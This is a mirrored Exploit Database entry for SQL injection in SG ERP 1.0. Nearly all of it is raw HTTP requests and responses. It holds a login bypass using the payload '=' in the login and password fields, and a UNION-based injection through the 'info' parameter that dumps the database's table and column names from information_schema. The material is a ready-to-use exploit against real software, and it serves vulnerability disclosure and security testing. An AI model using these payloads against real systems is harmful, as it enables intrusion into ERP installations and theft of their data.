SG ERP 1.0 – ‘info’ SQL Injection

• Exploit Database
• 19 阅读

• 作者： Ihsan Sencan
  日期： 2018-10-24
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/45666/

• # Exploit Title: SG ERP 1.0 - 'info' SQL Injection
  # Dork: N/A
  # Date: 2018-10-24
  # Exploit Author: Ihsan Sencan
  # Vendor Homepage: http://fankstribe.org/
  # Software Link: https://sourceforge.net/projects/sgerp/files/latest/download
  # Version: 1.0
  # Category: Webapps
  # Tested on: WiN7_x64/KaLiLinuX_x64
  # CVE: N/A
  
  # POC: 
  # 1)
  # http://localhost/[PATH]/valida_login.php
  # 
  # [PATH]/valida_login.php
  # 
  # 05 $login = @$_POST['login'];
  # 06 $senha = @$_POST['senha'];
  
  # POST /[PATH]/valida_login.php HTTP/1.1
  Host: TARGET
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Cookie: PHPSESSID=dvctab6luqcp739fom5asvqru7
  Connection: keep-alive
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 19
  login='='&senha='='
  HTTP/1.1 200 OK
  Date: Wed, 24 Oct 2018 15:43:47 GMT
  Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
  X-Powered-By: PHP/5.6.30
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Pragma: no-cache
  Content-Length: 46
  Keep-Alive: timeout=5, max=100
  Connection: Keep-Alive
  Content-Type: text/html; charset=UTF-8
  
  
  # http://localhost/[PATH]/index.php
  GET /ExploitDb/GP%20ERP/index.php HTTP/1.1
  Host: 192.168.1.27
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: http://localhost/[PATH]/valida_login.php
  Cookie: PHPSESSID=dvctab6luqcp739fom5asvqru7
  Connection: keep-alive
  HTTP/1.1 200 OK
  Date: Wed, 24 Oct 2018 15:43:47 GMT
  Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
  X-Powered-By: PHP/5.6.30
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Pragma: no-cache
  Content-Length: 1950
  Keep-Alive: timeout=5, max=99
  Connection: Keep-Alive
  Content-Type: text/html; charset=UTF-8
  
  # POC: 
  # 2)
  # http://localhost/[PATH]/index.php?mod=est&bot=tes3&info=[SQL]
   
  GET /[PATH]/index.php?mod=est&bot=tes3&info=-4++uniOn++selecT+0x496873616e%2c0x496873616e%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c0x496873616e%2c0x496873616e%2c0x496873616e%2c0x496873616e%2c0x496873616e%2c0x496873616e%2c0x496873616e%2c0x496873616e%2c0x496873616e%2c0x496873616e%2c0x496873616e%2c0x496873616e%2c0x496873616e%2c0x496873616e%2c0x496873616e%2c0x496873616e%2c0x496873616e%2c0x496873616e%2c0x496873616e%2c0x496873616e%2c0x496873616e%2c0x496873616e%2c0x496873616e-- HTTP/1.1
  Host: TARGET
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Cookie: PHPSESSID=dvctab6luqcp739fom5asvqru7
  Connection: keep-alive
  HTTP/1.1 200 OK
  Date: Wed, 24 Oct 2018 15:50:17 GMT
  Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
  X-Powered-By: PHP/5.6.30
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Pragma: no-cache
  Keep-Alive: timeout=5, max=100
  Connection: Keep-Alive
  Transfer-Encoding: chunked
  Content-Type: text/html; charset=UTF-8